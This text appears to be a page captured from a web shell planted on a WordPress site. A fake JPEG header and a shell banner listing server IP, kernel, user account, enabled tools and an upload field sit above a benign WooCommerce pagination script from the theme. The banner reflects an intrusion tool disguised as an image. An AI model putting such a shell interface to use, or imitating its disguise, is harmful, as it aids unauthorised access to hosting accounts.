????JFIF??x?x????'
Server IP : 104.21.48.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/./eaabusiness.com/wp-content/themes/yoome/js/ |
Upload File : |
jQuery(document).ready(function($){ "use strict"; var load_more_class = 'ts-shop-load-more'; var selector = { pagination: '.woocommerce-pagination' ,pagination_button: '.woocommerce-pagination a' ,next_button: '.woocommerce-pagination a.next' ,products_container: 'div.products' ,product_item: 'section.product' ,breadcrumb_container: '.breadcrumbs-container' ,result_count: '.ts-shop-result-count' ,woo_result_count: '.woocommerce-result-count' ,load_more: '.' + load_more_class }; var product_is_loading = false; var loading_type = typeof yoome_params != 'undefined'?yoome_params.shop_loading_type:'default'; if( loading_type != 'ajax-pagination' ){ if( $(selector.next_button).length == 0 ){ return; } /* Hide pagination */ $(selector.pagination).hide(); } if( 'scrollRestoration' in history ){ history.scrollRestoration = 'manual'; } switch( loading_type ){ case 'infinity-scroll': $(window).on('scroll', function(){ if( product_is_loading ){ return; } var product_bottom = $(selector.products_container).offset().top + $(selector.products_container).height() - 100; var window_bottom = $(window).scrollTop() + $(window).height(); if( product_bottom < window_bottom ){ ts_load_next_page(); } }); break; case 'load-more-button': $(document).on('click', selector.load_more + ' .load-more', function(){ if( product_is_loading ){ return; } ts_load_next_page(); }); break; default: /* Ajax Pagination */ $(document).on('click', selector.pagination_button, function(e){ e.preventDefault(); if( product_is_loading ){ return; } var href = $(this).attr('href'); var speed = Math.round( $(selector.products_container).height() / 4 ); $('html, body').animate({scrollTop: ts_get_scroll_top_position()}, speed).promise().done(function(){ if( history.pushState ){ history.pushState(null, null, href); } ts_load_next_page('replace', href); }); }); $(window).on('popstate', function(){ setTimeout(function(){ $('html, body').animate({scrollTop: ts_get_scroll_top_position()}, 500).promise().done(function(){ ts_load_next_page('replace', location.href); }); }); }); } function ts_get_scroll_top_position(){ var scroll_top = $('.before-loop-wrapper').offset().top; scroll_top -= $('#wpadminbar').length > 0?$('#wpadminbar').height():0; scroll_top -= $('.is-sticky .header-sticky').length > 0?$('.is-sticky .header-sticky').height():0; return scroll_top; } function ts_load_next_page( action, next_page_href ){ if( typeof action == 'undefined' ){ var action = 'append'; } if( typeof next_page_href == 'undefined' ){ var next_page_href = ts_get_next_page_href(); } if( !next_page_href ){ return; } product_is_loading = true; /* Add loading */ $(selector.load_more).addClass('loading'); $(selector.products_container).addClass('loading'); $.get(next_page_href, function(data){ var new_page = $('<div>' + data + '</div>'); new_page.find(selector.product_item).addClass('hidden-item').hide(); var products = new_page.find(selector.products_container).html(); if( action == 'append' ){ $(selector.products_container).append(products); } else{ $(selector.products_container).html(products); $(selector.breadcrumb_container).html( new_page.find(selector.breadcrumb_container).html() ); document.title = new_page.find('title').html(); } $(selector.product_item + '.hidden-item').removeClass('hidden-item').fadeIn(1000); $(selector.result_count).html( new_page.find(selector.result_count).html() ); $(selector.woo_result_count).html( new_page.find(selector.woo_result_count).html() ); /* Lazy Load */ $('.lazy-loading img.ts-lazy-load').each(function(){ if( $(this).data('src') ){ $(this).attr('src', $(this).data('src')); $(this).parents('.lazy-loading').removeClass('lazy-loading').addClass('lazy-loaded'); } }); $(selector.pagination).replaceWith( new_page.find(selector.pagination) ); if( action == 'append' ){ $(selector.pagination).hide(); if( !ts_get_next_page_href() ){ $(selector.load_more).remove(); } } product_is_loading = false; $(selector.load_more).removeClass('loading'); $(selector.products_container).removeClass('loading'); $(document).trigger('ts_shop_load_more_end', [loading_type]); }); } function ts_get_next_page_href(){ if( $(selector.next_button).length > 0 ){ return $(selector.next_button).attr('href'); } return ''; } });